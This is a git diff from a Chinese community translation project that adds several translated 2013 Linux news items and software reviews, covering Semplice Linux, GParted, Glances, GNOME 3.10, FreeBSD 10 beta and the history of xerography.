+从LiveCD启动后,可以看到一个图形界面窗口,它包括3个标签页,分别用来设置键盘布局、系统语言和所在时区。确认上述设置正确无误后,关闭窗口,就可以看到Openbox界面那明亮的蓝色背景了。在显示器底部我们发现了一个任务切换界面和一个系统托盘。点击鼠标右键可以呼出程序菜单,菜单顶部其中一项就是系统安装程序的入口。 + +![](http://distrowatch.com/images/screenshots/semplice-5-web.png) +Semplice Linux 5 —— 访问项目官网(截图大小398KB,分辨率1280x960) + +Semplice的系统安装程序同样为图形化界面。程序界面友好,引导步骤也比较清晰。首先,程序会让我们确认首选的语言、键盘和时区,然后会询问是否要检测安装程序有无更新,我很负责任的选择了“是”,它竟然真的联网找到了自己的新版本,于是,我又下载更新,安装程序自动重启执行更新(……作者你是话唠吗?)接下来,程序要求我们创建一个用户账户,同时,提供了是否激活root账户的选项。Semplice默认是将第一个用户账户作为sudo管理员同时禁用root账户的。尽管如此,我们仍然可以激活root账户再给它设置一个密码。然后,来到磁盘分区界面,程序自动帮我们完成了一套分区建议,当然,你也可以选择自己手动分区。 + +这里我发现手动分区会有点尴尬,主要是由于屏幕的布局。另外,我还发现当我尝试建立LVM卷的时候,程序却并不允许,一个对话框会让我输入卷的名称,但是它的“OK”按钮却无法点击,着实让人纳闷。文件系统还是传统的几个,ext2/3/4和ReiserFS,分区之后,它会询问是否要安装GRUB,以上步骤都完成后,最后一步需要我们选择是否开启一些功能与服务,然后就开始正式安装了。安装的同时,安装程序会询问我们是否需要一些额外的工具,例如蓝牙支持、打印机、生产套件、桌面特效、Web应用以及专有软件包,如果你选择需要,程序就会自动将它们拷贝至本地磁盘。整个安装过程只需要几分钟,安装完毕后,需要重启电脑。 + +除了基本所需的文本编辑器、计算器、图像浏览、文件管理与档案管理外,Semplice Linux发行版还预装了很多有用的软件,例如Chromium浏览器、Claws Mail邮件客户端、XChat IRC以及Pidgin等聊天软件。另外,下载软件有gFTP和uGet,文档处理有GNU Paint、AbiWord、Gnumeric,娱乐播放有MPlayer、Exaile,刻录工具有xfburn,游戏子菜单下还有一个Tetris。 + +程序菜单中还有许多有用的配置工具,通过这些工具用户可以对网络设置、系统服务、用户账户等进行轻松配置。同时,系统还提供了程序对Openbox窗口管理器进行管理。在Web应用部分,用户可以以最简方式打开一个web浏览器,用来访问Twitter和Facebook。系统还提供了前往Semplice项目官网的快捷方式。通过深度挖掘,我发现Semplice具有一整套完备的多媒体编码解码器和Adobe Flash插件。系统默认采用的是安全shell服务(OpenSSH)。我还发现系统预装了GNU编译工具集。而在内核方面,Semplice采用3.10版本,能够保证以上各个工具软件正常运行。 + +![](http://distrowatch.com/images/screenshots/semplice-5-apps.png) +Semplice Linux 5 —— 运行各种桌面程序(截图大小241KB,分辨率1280x960) + +使用Semplice工作的过程中我也遇到了一些小问题。比如,当我在虚拟终端运行“top”进程监视器的时候,窗口顶端的系统统计信息会无故消失,稍微折腾了一番,我发现原来是因为虚拟终端的颜色配置导致了文字不可见。但是当我修改主题颜色一段时间以后,下一次我再打开一个终端,主题颜色又回到了以前的默认值。如此反复,每次关闭终端后,我的设置总会丢失。丢失设置的另一个表现是,之前安装过程中配置好的一些服务也失效了,包括蓝牙、打印机支持、Web应用和其他一些项目。 + +当时我告诉安装程序不要安装蓝牙和打印软件,但是后来我在服务管理器里还是看到了它俩在活蹦乱跳地运行着。 + +第三个奇怪的问题是,当我尝试连接SSH服务的时候,总是被告知连接丢失被重置,很快我发现问题原因是由于系统根本就木有生成OpenSSH所需的主机密钥。当我手动生成这些密钥后,就可以使用安全Shell服务了。 + +新立德(Synaptic)作为通用软件包管理器负责Semplice发行版软件包的管理与更新。通常功能强大的软件包管理器难以兼顾漂亮的外观,但新立德做到了。它允许用户创建一系列行为动作,并且执行迅速,执行的同时还能显示详细的细节信息。Linux发行版一般会从一些不同的软件仓库获取软件,Semplice默认是从Debian的不稳定分支仓库以及其他一些Semplice的自定义仓库中获取。当我初次安装好Semplice的时候,就有137个更新等着我下载安装,体积总共达到了135MB。一周下来,我总共安装了超过200个更新,体积超过200MB。Semplice不愧是基于Debian的不稳定分支,不但更新速度超快,而且采用的都是快速更新的前沿软件包。 + +![](http://distrowatch.com/images/screenshots/semplice-5-admin.png) +Semplice Linux 5 —— 管理软件包与服务(截图大小299KB,分辨率1280x960) + +我尝试在我的台式机上运行Semplice Linux(CPU双核2.8GHz,内存6G,Radeon显卡,Realtek网卡),然而不管我如何修改内核参数,都无法在实体机上运行,但是在VirtualBox虚拟机上却运行的很好。在VirtualBox里,Semplice启动快速,反应灵敏而且整个测试过程都非常稳定。Semplice所需的配置内存相当低,只需要130MB。 + +整个Semplice体验过程一个词概括:还行(Okay)。这既不是认可也不是否定。总体上讲,Semplice表现还是不错的,它提供了很多优秀的软件,而且我认为它的安装程序比Debian的要漂亮,至少在桌面系统上如此。Semplice的管理员工具很实用,除此以外,通过访问Debian的软件仓库,它还提供了海量软件包供普通用户选用。该发行版紧跟前沿,不喜欢总是下载更新的用户可能会比较介意,但是同时这也意味着它为我们提供了不断尝试新鲜事物的机会。以上是好的方面。不好的方面,在我测试的过程中也出现了一些问题,例如,安装程序并未采纳我对系统服务的一些配置,我也无法使用加密LVM卷。 + +还有其他一些小问题,像虚拟终端丢失设置等等。另外,我始终禁不住会想,Semplice为何不用LXDE代替Openbox作为图形接口呢?我并不是对Openbox有什么偏见,但LXDE可以提供更美观、常见的图形接口,特别是对于新手用户,就好像在家里面对自己熟悉的环境一样。另一个问题是,Semplice无法在我的实体机上运行,也许我的情况是个案,反过来可能别人运行不了的系统我的电脑却可以运行,我也并不想以此对Semplice吹毛求疵,但是,其他Debian类的系统例如Ubuntu和Debian版的Mint,都可以在我的机子上流畅运行,因此,当发现Semplice运行不了时候,我当时还是有些惊讶的。最后一个问题,OpenSSH运行时,没有自动生成主机密钥,导致安全Shell连接丢失,虽说手动生成新的主机密钥只是小事一桩,但如果它启动的时候就能自动完成这些工作岂不是更好。 + +总结一下,对于Semplice,我“爱的初体验”看起来还是比较美好的,它为简约Debian做出了不少改进(至少对于台式机/笔记本用户),默认所选择的软件也都不错。尽管如此,它还是有一些毛边儿略显粗糙。也许这不算什么,因为没有什么能吓住我们Linux系统测试员,但我还是衷心希望不久的将来,Semplice的新版本能改善上面那些问题。 + +-------------------------------------------------------------------------------- + +via: http://distrowatch.com/weekly.php?issue=20131007 + + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[tinyeyeser](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +[1]:http://distrowatch.com/semplice +[2]:http://semplice-linux.org/ \ No newline at end of file diff --git a/published/201310/Flower Coil, retro challenging puzzle game (Ubuntu Software Center).md b/published/201310/Flower Coil, retro challenging puzzle game (Ubuntu Software Center).md new file mode 100644 index 0000000000..0122fe3a5c --- /dev/null +++ b/published/201310/Flower Coil, retro challenging puzzle game (Ubuntu Software Center).md @@ -0,0 +1,22 @@ +Flower Coil,一个颇具挑战性的复古风益智游戏 +===================================== + +Flower Coil是一个简单但有趣的复古风游戏,用户为了要完成任务,必须要通过认真的思考,一步一步谨慎的移动角色才行。 + +基本上来说,玩家主要操作就是控制游戏中的角色,让其滑动位置。游戏环节的重点是玩家要仔细的计算下一步操作,因为角色在完成每个任务时都有预定好的最多移动步数。 + +Flower Coil有解谜和街机两种模式,同时配以简约的视图效果以及活泼的提示音乐,这样做的效果是:从启动游戏时起,用户就要利用好每一秒钟(尤其是在街机模式中)和屏幕的每一个像素才能获得胜利。 + +在主界面选择街机模式,打开一段充满活力的旋律,现在就开始行动吧,在有限的时间里,通过你机警的操作打通各个关卡! + +![](http://iloveubuntu.net/pictures_me/flower-coil%20%20usc.png) + +Flower Coil可以通过Ubuntu软件中心免费进行[下载][1]。 + +via: http://iloveubuntu.net/flower-coil-retro-challenging-puzzle-game-ubuntu-software-center + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[woodboow](https://github.com/woodboow) 校对:[wxy](https://github.com/wxy) + +[1]:apt://flower-coil diff --git a/published/201310/FreeBSD 10.0 Beta 1 Available for Download and Testing.md b/published/201310/FreeBSD 10.0 Beta 1 Available for Download and Testing.md new file mode 100644 index 0000000000..eb2da995e2 --- /dev/null +++ b/published/201310/FreeBSD 10.0 Beta 1 Available for Download and Testing.md @@ -0,0 +1,33 @@ +FreeBSD 10.0 Beta 1已经可以下载测试 +================================================================================ +**FreeBSD 10.0 Beta 1, 一个可以运行在x86, ARM, IA-64, PowerPC, PC-98, and UltraSPARC 等架构上的操作系统, 已经发布并且可供下载测试。** + +![](http://i1-news.softpedia-static.com/images/news2/FreeBSD-10-0-Beta-1-Available-for-Download-and-Testing-391246-2.png) + +FreeBSD的开发者在以不可思议的速度前进,并且不断地发布一个又一个的新版本. 新的测试版在有五个内测版的情况下完成,但是没有任何问题。 + +官方[公告][1]称,“因为在最后一刻发现10.0-BETA1 freebsd-update(8) 中存在问题,freebsd-update(8) 不支持10.0-BETA1的升级。所以请不要用freebsd-update(8) 来升级 10.0-BETA1。请注意 cvsup和CVS不支持用于的src/tree方式的升级。” + +而且, 据开发者说, ports.txz发行版没有被包含在 10.0 Beta 1 发布版中,但是它有望在发行周期中被纳入后续版本的disc1.iso中。 + +###FreeBSD 10.0 Beta 1的亮点: + +- freebsd-version,一个用于审核的工具,已经完成。如果你想确定客户端补丁级别,这是一个很重要的工具,它与'uname -r'的报告是不同的; +- ZFS lzjb的解压性能有所改进; +- 支持了两种新的MIPS CPU:mips24k和mips74k; +- 每个jail配置的"jail__*" rc.conf(5) 变量的配置被自动转换到/var/run/jail。.conf在jail(8)之前调用, 因此采用了新的jail.conf(5)语法; +- 绝大多数的ATF工具和_atf用户被移除; + +发行方鼓励用户们测试发行版并报告任何发现的问题。官方[变更目录][1]有完整的修正和修改列表。现在可以在Softpedia立刻下载FreeBSD 10.0 Beta 1。 + +请注意这是一个开发者版本请不要再任何产品端上安装。它仅被希望用于测试目的。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/FreeBSD-10-0-Beta-1-Available-for-Download-and-Testing-391246.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/wxy) + +[1]:http://lists.freebsd.org/pipermail/freebsd-current/2013-October/045524.html diff --git a/published/201310/GCC 4.8.2 Compiler Brings 70+ Bug Fixes.md b/published/201310/GCC 4.8.2 Compiler Brings 70+ Bug Fixes.md new file mode 100644 index 0000000000..56dce59e2c --- /dev/null +++ b/published/201310/GCC 4.8.2 Compiler Brings 70+ Bug Fixes.md @@ -0,0 +1,19 @@ +GCC 4.8.2携70余Bug修复而来 +================================================================================ +Red Hat公司的Jakub Jelinek今天早上发布了4.8.2版本的GNU编译器集合(GCC:GNU Compiler Collection)。 + +GCC 4.8.2是稳定版的[GCC 4.8][1]最新版本,尽管近期大部分新的开发工作都是围绕即将在2014年面世的[GCC 4.9][2]。 + +GCC 4.8.2相对于五月底发布的4.8.1修复了超过70个的bug。更多关于GCC 4.8.2编译器的信息可以在[邮件列表的公告][3]上找到。 + +-------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=MTQ4NzA + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Crowner](https://github.com/译者ID) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.8 +[2]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9 +[3]:http://gcc.gnu.org/ml/gcc/2013-10/msg00168.html diff --git a/published/201310/GNOME 3.10 Will Have a Beautiful and Handy System.md b/published/201310/GNOME 3.10 Will Have a Beautiful and Handy System.md new file mode 100644 index 0000000000..771501fc8a --- /dev/null +++ b/published/201310/GNOME 3.10 Will Have a Beautiful and Handy System.md @@ -0,0 +1,28 @@ +#GNOME 3.10将会有一个漂亮,便捷的系统菜单 + +昨晚(9月5日),来自GNOME发布组的 Javier Jardón Cabezas 发布了 GNOME3.10 的第二个beta版本。 + +如我们之前的深度报道中所描述的,GNOME 开发者们在上一个 [GNOME-Shell 3.10 beta版](http://news.softpedia.com/news/GNOME-Shell-3-10-Beta-2-Implements-New-System-Status-Area-380916.shtml)中所做的改变,在 GNOME 3.10 中将开发一个新的系统状态区。 + + +如你从下面的截图所看到的(谢谢 Allan Day 提供),系统状态区的设计已经完全被推翻,它给所有的指示器使用了一个单独的菜单(声音、Wi-Fi、电池、蓝牙等)。 + +在当前的 GNOME 桌面的稳定版本中,我们会发现每次要修改或查看一些什么时,我们为每个指示器打开一个新的菜单面板(仔细看第一个截图的细节)。 + +从将在2013年9月25号发布 GNOME 3.10 开始,使用者将会发现所有出现的指示器都使用一个单一的面板菜单,这将大幅度提升你和GNOME桌面的交互体验。 + + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnomesystemmenu-large_001.jpg) +旧的系统状态区 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnomesystemmenu-large_002.jpg) +新的系统状态区 + +新系统状态区不仅仅是统一了所有的面板菜单,而且它也将仅显示你所关注的主要信息。用鼠标点击,你可以看到你的笔记本电脑的电量还能剩多少时间使用(也显示百分比)、连接无线宽带或者是WI-Fi、及调整音量和亮度。 + + +新的系统面板可以通过 GNOME 3.10 Beta 2发布版本进行测试,它还包括锁定、关机、重启、注销和切换用户等快捷操作,以及访问 GNOME 控制面板。 + +可以从Softpedia[下载 GNOME 3.10 Beta 2](http://linux.softpedia.com/get/Desktop-Environment/Gnome/GNOME-3603.shtml)。 **切记,这只是一个beta版本,不应该安装在任何生产环境中,仅仅是作为测试用途。** + +via : http://news.softpedia.com/news/GNOME-3-10-Will-Have-a-Beautiful-and-Handy-System-Menu-380938.shtml diff --git a/published/201310/GNOME Control Center 3.10.1 Released with Multiple Improvements.md b/published/201310/GNOME Control Center 3.10.1 Released with Multiple Improvements.md new file mode 100644 index 0000000000..0176d8cc61 --- /dev/null +++ b/published/201310/GNOME Control Center 3.10.1 Released with Multiple Improvements.md @@ -0,0 +1,32 @@ +GNOME Control Center 3.10.1版本推出,有多项性能的改进 +================================================================================ +**GNOME Control Center,是用来配置GNOME桌面环境中桌面功效的主用户窗口应用程序,现在的最新的版本是3.10.1。** + +![](http://i1-news.softpedia-static.com/images/news2/GNOME-Control-Center-3-10-1-Released-with-Multiple-Improvements-391831-2.png) + +Gnome Control Center允许用户使用大量的工具应用程序来对他们的系统进行各方面的配置修改。 + +**GNOME Control Center 3.10.1的功能亮点:** + +- 修正了一些内存泄露问题; +- 创建目录时使用一致的权限; +- 鼠标移动速度设置不会再复位; +- 没有启用远程控制功能时屏幕共享可正常使用; +- 相同名字的文件夹不会再被选定为媒体共享文件夹; +- 当要启用DLNA,必须使MediaExport插件启用; +- 顶栏的按钮图标已经对齐。 + +有关变更、更新及Bug修复等情况的完整列表信息可以在官网[变更日志][1]中查看。 + +- 下载 [GNOME Control Center 3.10.1 tar.xz][2][sources] [6.50 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/GNOME-Control-Center-3-10-1-Released-with-Multiple-Improvements-391831.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-control-center/3.10/gnome-control-center-3.10.1.news +[2]:http://ftp.acc.umu.se/pub/GNOME/sources/gnome-control-center/3.10/gnome-control-center-3.10.1.tar.xz diff --git a/published/201310/GParted 0.16.2 Review.md b/published/201310/GParted 0.16.2 Review.md new file mode 100644 index 0000000000..0611f26e01 --- /dev/null +++ b/published/201310/GParted 0.16.2 Review.md @@ -0,0 +1,91 @@ +小评磁盘分区软件GParted 0.16.2 +========================= + +**GParted可能是Linux平台上最重要的应用程序之一了,并且它也是最有用最易识别的软件之一。** + +![img](http://i1-news.softpedia-static.com/images/news2/GParted-Review-387094-2.jpg) + +不能把GParted作为一个单独的应用程序来讨论。公平的说,它本是采用GTK+开发的GNU Parted的前端程序。但是由于开发人员做了许多工作,使得它的功能已经不仅仅只是给这个复杂而难用的软件提供一个简单的图形界面了。 + +GParted项目启动于2004年,自从那时起开发人员一直在不断的完善它。这个过程是缓慢的,最新发布的版本号是0.16.2(该版本已经被我们点评过)。难以想象这个开发工作一下就持续了近十年。 + +用户会发现GParted不仅仅是一个工具,还有一个名叫GParted Live的Live操作系统,它无需安装即可直接使用,它可以在任何带有光驱或者USB接口的系统上直接运行,包括Mac操作系统。 + +很难想像在Linux世界中没有这个工具会怎样,但是我们也不得不说,它并不是完成这方面工作唯一工具。 + +###安装 + +这是一项困难的工作。GParted的开发者们只提供最新版软件的源代码,这就意味着如果你想获取最好的版本就不得不做一些编译的工作。这真是个坏消息。 + +我们在Ubuntu 13.10(代号俏皮的蝾螈)上安装了GParted,一切都很顺利。官方库所提供的最新版是0.16.1,这个版本应该可以满足大多数用户的需求了。该版本与最新0.16.2版之间的区别并不明显,只是在一些设置上有所改动。 + +我们假设你真的如饥似渴般想要最新的版本。首先,下载软件包然后解压它。 + + +下载GParted 0.16.2: + +- [gparted-0.16.2.tar.bz2][1][sources] [1.80 MB] + +这并不是一个很大的软件,编译时间也不会太长。通常,用户只需要输入下面的命令: + + ./configure + make + sudo make install + +问题是正如你和我这样的普通人,并没有安装该软件所依赖的所有软件包。这意味着,当 ./configure命令显示错误的时候,你不得不一个一个的去安装这些软件。 + +好消息是,Ubuntu用户有一个非常方便的命令,适用于所有在他们仓库中的应用。在使用./configure之前,首先输入如下命令: + + sudo apt-get build-dep gparted + +这条命令会从仓库中获得所有必须的依赖软件包,并将用户从复杂的一个一个安装依赖库的工作中解救出来。 + +###使用 + +像我以前说的,这是一个磁盘分区编辑器。这意味着你可以通过它的用户界面进行移动、重新分配分区大小、重新分区以及做任何你想要做的事。 + +用户也可以删除分区,修复那些被其他系统损坏了的USB盘。你必须足够的小心。如果你像我一样安装了多系统,你会发现它会很容易损坏已经安装了的Windows系统。 + +GParted能够修改以下文件系统:btrfs, crypt / LUKS, ext2, ext3, ext4, fat16, fat32, hfs, hfs+, linux-swap, lvm2 pv, nilfs2, ntfs, reiserfs, reiser4, ufs, 以及 xfs。GParted也可以被用于克隆整个分区。 + +此外,GParted也得到了UEFI安全启动的支持,能够在任何具有此功能的PC电脑上流畅运行。 + + +![](http://i1-news.softpedia-static.com/images/news2/GParted-Review-387094-2.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/GParted-Review-387094-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/GParted-Review-387094-5.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/GParted-Review-387094-6.jpg) + +###总结 + +谁会知道修改分区是件有趣的事呢?GParted把这项枯燥又具有潜在危险的活动变得并不那样可怕,为用户提供了一个很棒的用户体验,而不像命令行的应用程序那样。 + +那些用户不得不在终端中调整分区的日子已经远去了。GParted看起来像一个专业的解决方案,它是我们不能没有的工具。 + +**优点** + +使用其它操作系统的用户,比如windows或者Mac,需要支付高额的费用来使用这一类软件。而Linux用户则可以免费获得,而且开发者在不断的维护这个程序。 + +它的用户界面非常整洁,简单易懂,甚至Linux新手都能看的明白。 + +**不足** + +使用这个程序会很容易的把事情搞坏。尤其是一但具有了root用户的权限,它会具有潜在的破坏性。 + +对于这种情况,如果GParted能够提供更多综合性的建议,或者在开始的时候仅提供一个初级版本的话,或许会更合适。 + + +--- + +via: http://www.softpedia.com/reviews/linux/GParted-Review-387094.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[woodboow](https://github.com/woodboow) 校对:[Caroline](https://github.com/carolinewuyan) + + + +[1]:http://sourceforge.net/projects/gparted/files/gparted/gparted-0.16.2/gparted-0.16.2.tar.bz2/download diff --git "a/published/201310/GTK3-based Twitter App \342\200\230Corebird\342\200\231 In Development.md" "b/published/201310/GTK3-based Twitter App \342\200\230Corebird\342\200\231 In Development.md" new file mode 100644 index 0000000000..de6b2cc794 --- /dev/null +++ "b/published/201310/GTK3-based Twitter App \342\200\230Corebird\342\200\231 In Development.md" @@ -0,0 +1,54 @@ +正在开发中基于GTK3的新Twitter应用“Corebird” +=================================== + +Corebird是一个Twitter应用,它的界面让人想到了Twitter在OS X上的[官方应用](https://itunes.apple.com/gb/app/twitter/id409789998?mt=12%27)。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-11-at-16.46.53.png) + +Corebird是由一个Archlinux用户开发的,它具有GNOME 3.10的外观和功能集。 + +Corebird的界面使用GTK3开发,因此当你把它放在其他的GTK应用旁边时,Corebird和它们看起来非常协调。Corebird充分利用了最新版GNOME 3.10 release的新标题栏,这正是GNOME 3.10 release所强调的顶级功能。Corebird的标题栏展示了你的Twitter,头像,以及一个快速编写微博文章的按钮。这把本该是单独的工具栏整合为了一个紧凑,简洁的标题栏。 + +虽然Corebird的界面可能是为了GNOME 3.10而设计,但Corebird具备的功能是要让所有的Twitter用户之间的联系,无论你是使用GNOME或是其他桌面环境。 + +###功能 + +Corebird在某些方面与Mac的官方Twitter应用相似(这当然是好事!),而且它有一套功能集来充分展现Twitter。转发,喜爱,收听,搜索,查看个人资料,会话,音视频上传,以及其他的一系列功能都可以正常使用。 + +如果你管理着几个帐号,多帐号设置也是支持的,但是要注意,在最新的版本中,重新打开Corebird后,你之前配置的账户都会被移除。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/corebird_notification.jpg) + +*GNOME锁屏的Corebird提醒* + +在GNOME锁屏时,Corebird也会有提醒,当你回到电脑前,它会提示你有多少个Twitter提醒。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/corebird_dark.png) + +Corebird有浅色的主题,也有深色的主题,这当然是为了让你晚上玩Twitter时眼睛更舒服。Corebird还有一些其他的设置选项,包括显示哪些提醒,是否显示微博内的音视频等,你可以在设定对话框中进行设置。 + +###如何获取Corebird + +如果你还在使用Ubuntu 13.04,非常不走运,Corebird使用了GNOME 3.10的新功能,因此Ubuntu 13.04并不支持。如果你把系统升级为13.10(下周将发布release版本),你就可以在Saucy(13.10的代号简称)的GNOME 3 PPA中体验GNOME 3.10了。 + +Corebird仍在开发当中,而且PPA也还没有(Corebird已经在[AUR][3]里建了仓库,Archlinux用户进去逛过就会知道),因此,你要使用Corebird就必须手动编译了。 + +这个项目给了那些开发逐渐慢下来的Linux Twitter应用一个希望的信号,例如,Birdie在今年的夏天就没有达成它的[crowdfunding目标][4]。 + +如果Corebird不是你的菜,也可以去看看[gFeedline][5],另一个基于GTK3的Twitter应用。 + +Corebird的更多内容:http://corebird.baedert.org/ + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/corebird-twitter-app-gtk3-gnome + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[will.qian](https://github.com/willqian) 校对:[wxy](https://github.com/wxy) + +[1]:https://itunes.apple.com/gb/app/twitter/id409789998?mt=12%27 +[2]:http://www.omgubuntu.co.uk/2013/09/10-best-features-gnome-3-10 +[3]:https://aur.archlinux.org/packages/corebird-git/ +[4]:http://www.omgubuntu.co.uk/2013/07/linux-twitter-app-birdie-perches-on-crowdfunding-bandwagon +[5]:http://www.omgubuntu.co.uk/2012/07/is-gfeedline-twitter-app-for-linux-any-good \ No newline at end of file diff --git "a/published/201310/Glances \342\200\223 An All In One System Monitoring Tool.md" "b/published/201310/Glances \342\200\223 An All In One System Monitoring Tool.md" new file mode 100644 index 0000000000..2b1a4b7b26 --- /dev/null +++ "b/published/201310/Glances \342\200\223 An All In One System Monitoring Tool.md" @@ -0,0 +1,115 @@ +Glances:自适应显示的多合一系统监控工具 +=================================== + +很少有命令行工具可以适应不同的终端尺寸,为用户提供最大限度的信息。绝大多数的工具的显示都是类似的——要么显示的信息混乱了或工具给出一个错误信息。不过, **Glances** 却是一个支持在80X24终端到任何更大尺寸终端上显示大量系统/网络监控相关信息的工具。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/glances-main.png) + +**提示** -- 这篇文章中的所有例子在Ubuntu 13.04的bash shell上测试过。 + +###简短教程 + +Glances是一个系统监控工具,它在你的终端上能展示各种各样的系统相关信息。这些信息包括: + +- CPU相关信息 +- 磁盘IO相关信息 +- 内存相关信息 +- 挂载点相关信息 +- 网络接口相关信息 +- 进程相关信息 +- 等等 + +这是glances示例截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/glances-1-1024x654.png) + +它是用python写的并且利用[psutils][1]库获取所有系统相关信息的显示。Glances在终端上的显示非常灵活,比如,它可以在小至80X24的终端上显示更多的信息。 + +这是在较小终端上的glances截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/glances-small-terminal.png) + +你可以看到甚至在较小终端上它也能显示一些信息。 + +你不仅可以用Glances对本地系统监控,它也能用于监控远程系统。在远程系统使用glances,运行以下命令: + + glances -s + +并且在客户端执行: + + glances -c [ip-address-of-server] + +在C/S模式中,使用glances有一些用户应该记住的重点[取自glances官方文档]: + +在服务器端,你可以用 `-B address` 和 `-p port` 来设置绑定的IP地址和端口。 + +在客户端,使用 `-p port` 来指定连接的服务器端的端口。 + +默认的绑定地址是0.0.0.0(即监听在全部网络接口上)和61209/TCP端口上。 + +在C/S模式下,限制是在服务器端设置的。 + +你也可以通过 `-P password` 来指定一个连接口令。 + +Glances 也支持IPv6,可以通过 `-B ::` 来绑定到全部的IPv6地址上。 + +此外,这有几个命令行选项可用于自定义信息,像: + +- 使用 -m 禁止显示挂载相关信息 +- 使用 -n 禁止显示网络相关信息 +- 使用 -t 设置屏幕刷新时间间隔 +- 等等 + +通过[man手册页][2]探索和发现更多这样的选项。 + +除了命令行选项,glances提供许多帮助选项,你可以当glances正在运行的时候使用,这是选项列表: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/glances-help.png) + +所以你可以看到glances不仅灵活显示也高度可定制。 + +###下载/安装 + +这是一些与glances工具有关的重要链接: + +- [主页][3] +- [下载页][4] +- [文档][5] + +你可以从软件源下载和安装Glances,但这需要预装python-dev模块。Ubuntu用户可以通过Ubuntu软件中心直接下载和安装。本文使用的版本是1.7.1与PsUtil 0.6.1。 + +###总结 + +Glances是个工具,可以用于系统管理员快速了解完整的系统概况。在你的宝贝电脑上是个很好的工具,可以在你调试一些系统相关问题上派上用场。显示灵活想必是极好的。 + +**优点** + +- 在同等情况下提供许多系统相关信息 +- 灵活的显示 + +**缺点** + +- 较小终端时必须指定一些选项,以便显示更多信息。 +- 从源代码构建依赖于附加库,像python-dev。 + + +你曾今用过Glances或类似的工具吗?你的经历是什么?分享你的故事吧。 + +--- + +via: http://mylinuxbook.com/glances-an-all-in-one-system-monitoring-tool/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[wxy]:http://linux.cn/space/wxy + +[1]:http://code.google.com/p/psutil/ +[2]:http://linux.die.net/man/1/glances +[3]:http://nicolargo.github.io/glances/ +[4]:http://nicolargo.github.io/glances/ +[5]:https://github.com/nicolargo/glances/blob/master/docs/glances-doc.rst#introduction \ No newline at end of file diff --git a/published/201310/How This 75 Year-Old Piece of Paper Started Modern Computing.md b/published/201310/How This 75 Year-Old Piece of Paper Started Modern Computing.md new file mode 100644 index 0000000000..28b48d1492 --- /dev/null +++ b/published/201310/How This 75 Year-Old Piece of Paper Started Modern Computing.md @@ -0,0 +1,84 @@ +一张在75年前开启了复印机时代的纸 +=========================== + +![img](http://rack.1.mshcdn.com/media/ZgkyMDEzLzEwLzEzL2VhL1hlcm94LjM4ODIwLmpwZwpwCXRodW1iCTk1MHg1MzQjCmUJanBn/2f9f894a/5ef/Xerox.jpg) + +1938年10月22曰,纽约市皇后区阿斯托里亚的一间公寓内,专利代理人卡尔逊(Chester Carlson)和无所事事的奥地利物理学家柯乃伊(Otto Kornei)利用周六的一个上午制作了世界上第一张干式复印件(卡尔逊经过3年研究,在1938年成功实现世界上第一个静电复印实验——译者注),从此开创了计算机的新时代!这是一个改变世界的时刻,这是一个激动人心的时刻!然后他们就去吃午餐了:D + +75年来,复印产业成了美国公司的中流砥柱。即使在平板电脑和PDF大行其道的今天,去年一年时间,“多功能打印机”销量为1900万台,交易额为309亿美元(来自Gartner公司的数据)。你也许忘了上次使用打印机是在什么时候了,但IDC分析师Angèle Boyd指出,去年全球打印了3万亿张纸,其中1万亿张来自美国。在一些公司里,一个员工每个月打印300到400张纸是再平常不过的事了。打印机生意保持令人吃惊的强大,其革命性已经远超当年卡尔逊刚发明模拟式静电复印机的时候了。 + +静电打印机提升了企业的生产力,增强了商务交流。Gartner 公司负责调查、绘图和打印业务的副总裁Ken Weilerstein指出,大部分白领的工作任务就是以各种各样的形式阅读和创建文档。Web原本是基于超文本,链接计算机上文档的一种方法,后来由Tim Burners-Lee在1991年将其引入到互联网。 + +Ken Weilerstein说:“打印机改变了人们处理文档的方式,在人类的办公史上,这可是一件大事。” + +##施乐的崛起 + 